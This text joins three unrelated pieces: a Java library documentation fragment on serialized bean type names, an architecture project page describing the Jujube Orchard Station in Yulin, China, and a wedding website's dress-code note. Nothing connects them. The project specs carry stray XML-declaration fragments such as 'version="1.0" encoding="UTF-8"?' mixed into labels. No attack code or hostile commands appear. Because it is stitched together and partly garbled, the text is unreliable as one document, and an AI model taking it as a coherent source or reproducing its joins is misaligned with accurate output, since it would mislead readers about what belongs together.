When using the annotation, you'll typically want to define it on an interface class so that it can
be inherited by all subclasses.
| @Bean(typePropertyName="mytype", dictionary={MyClass1.class,MyClass2.class})
| public interface MyInterface {...}
|
| @Bean(typeName="C1")
| public class MyClass1 implements MyInterface {...}
|
| @Bean(typeName="C2")
| public class MyClass2 implements MyInterface {...}
|
| MyInterface[] x = new MyInterface[]{ new MyClass1(), new MyClass2() };
|
| // Produces "[{mytype:'C1',...},{mytype:'C2',...}]"
| String json = JsonSerializer.DEFAULT.serialize(x);
Type names do not need to be universally unique.
However, they must be unique within a dictionary.
The following reserved words cannot be used as type names:
object, array, number, boolean, null.
Serialized type names are DISABLED by default.
They must be enabled on the serializer using the
{@link oaj.serializer.Serializer.Builder#addBeanTypes()}
setting.


Jujube Orchard Station / Original Architects
- Curated by 韩爽 - HAN Shuang
- less than a minute
Landscape Architecture · Yulin, China
- version="1.0" encoding="UTF-8"? Architects: Original Architects
- AreaArea of this architecture projectArea: 476.0 m2
- version="1.0" encoding="UTF-8"?YearCompletion year of this architecture project Year: 2019
- version="1.0" encoding="UTF-8"?PhotographsPhotographs: Yiping Lin, Yu Chen, Bingxin Yang
- Lead Architects Yong Tang
- Design Team Yiping Lin, Bingxin Yang, Pei Zhao, Bo Wang, Minjie Luo, Haipeng Jiang, Yazheng Han, Zhiqiang Ding
More Specs Less Specs
Text description provided by the architects. With the decline of Yellow river transportation in modern times, the glorious cave-dwelling village along the precipice in Northern Shaanxi has become a remote place, desolate and lonely. In recent years, the construction of the highway along the Yellow River has ushered in new opportunities for these ancient villages. The design of the "post station" along the road not only facilitates road traffic, but also becomes the "antenna" of the old villages and the "gathering place" of urban and rural life. How to satisfy and activate the multiple functions of urban and rural areas and create a natural contemporary settlement of one side by taking advantage of the situation of mountain forests has become the design goal of this new building type.
An ENLARGED POST STATION
From the point of government, the construction of the "post station" along the road is intended to provide a complete set of traffic and tourism services for the villages along the Yellow Road, including three basic functions: parking, shop and a public toilet. However, the old village reserve are short of land, The villagers of Nihegou have been hoping to build a grand stage square and a Wedding and Funeral Banquet Hall with 200 people in the jujube forests, so as not to interfere with the life of the village.
In the face of the differences between urban and rural areas, with the opportunity of "post station" construction, the service spaces with complementary functions are concentrated outside the old villages. The functions are enlarged to restaurants, teahouses, stage squares, banquet hall, and even temporary jujube Market. It becomes the remote tentacles of the Nihegou village, and also a gathering place for rural public life. In Nihegou, a traditional village with the world's important agricultural and cultural heritage (GIAHS): "Jiaxian ancient jujube garden", many functional building spaces will undoubtedly become a new type of public buildings in the village. How to slightly place this "enlarged post station" among the jujube forests with different village entrances and build it naturally has become the primary problem faced by the design.
DISPERSED BUILDING
On the side of the road along the Yellow Road, there is only one jujube woodland near the new road. From the highway to the edge of River, there is a step-like drop of nearly three meters, while the newly built flood control dike along River has a height difference of four meters, in order to prevent the mountain flood outbreak in summer and autumn every year. The uneven jujube forest in the base is the main economic crop in the village. Every jujube tree has its own owner. The identification and compensation of the land are also based on jujube. Ulmus, poplar and other trees on the edge of the jujube forest are also important guarantees of village biodiversity. In this regard, it is the preferred strategy to disperse the building space in the forest by taking advantage of the topographic elevation difference and the spacing between trees according to local conditions.
The planning and design of the station starts from the measure land. To avoid the southern jujube densely populated area and the Guanyin Temple conservation area, to maintain the natural atmosphere of the jujube forest in the village, the main building of the station should be placed on the sparse side of the north jujube forest, and next to the Shishan cliff under the bend of the river near the village. The height difference between roads, forests and river embankments is wide and narrow, so that the buildings can enter and be built by trees. The buildings can be reduced to basic space units along the curve, so as to weaken the volume and disperse it among jujube forests. Building natural contemporary settlements among the forests not only preserves the origin of the village entrance, but also obtains another small world.
A Country garden
In Chinese gardens, architecture is a typical unit type. The main structure follow the basic form, and its relationship with the path, place and situation is more important than building itself. How to borrow the ingenious way of dealing with Chinese gardens in the construction of rural venues, and effectively integrate the actual demand of local technology and lower cost?
For this reason, light steel frame and local characteristics of stone wall and willow weaving technology are selected to reduce the wall height, leave high windows, lighting and ventilation, and can be incorporated into the forest landscape.
Their unitary volume is not only scattered among the forests, but also partially aggregated due to their behavioral functions, which has become a new experience mode of rural garden space in jujube orchard.
BETWEEN GATHERING AND SCATTERING
The square was transformed into a staircase base on the original jujube forest concave land, and the building monomer space was gathered to cater for the steep Golden Lion Mountain. All rooms are open to the inner theatre stage, but because of different functions, there are different space atmosphere. The main hall connects the kitchen with a South skylight and bright light; the elevated tea room is surrounded by trees, facing the stage square, with the darkest space; even the small windows of the management room ensure the comfort and convenience of the office space.
Similar to the "Six Persimmons painting " of Muxi in Southern Song Dynasty, the six persimmons with different virtual and real are placed on an invisible and boundless plane, seemingly scattered and implemented at random, and seemingly gathered meticulously. The overlapping or gap differences between them bring many subtle imaginations.
Relative space gathering and dispersing, time and behavioral reincarnation may be a more real daily life in the countryside. Most of the days in the countryside are quiet and repetitive, and the square provide the leisure sitting and watching of the main road at the village entrance. When festivals or other events come, villagers gather in the Plaza. The huge cliff seems on screen, with the singing, inspiring their mood of worship. This is an important moment for village cohesion.
In the face of mountains and rivers, or joy or sorrow, this gathering ceremony is rare in the long days, but even more indispensable in the ancient villages. The jujube orchard Post Station scatters among the forests in the settlement space, quietly carrying the gathering and scattering of the ancient village life.


John & Emily Get Married!
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Dress code
Formal: suit and tie (not a tuxedo), cocktail dress, dressy suit/pants/skirt, long dress (not a ballgown) are all fine by us!
We do recommend wedges or flat-soled shoes
, because the garden has some uneven paving stones.


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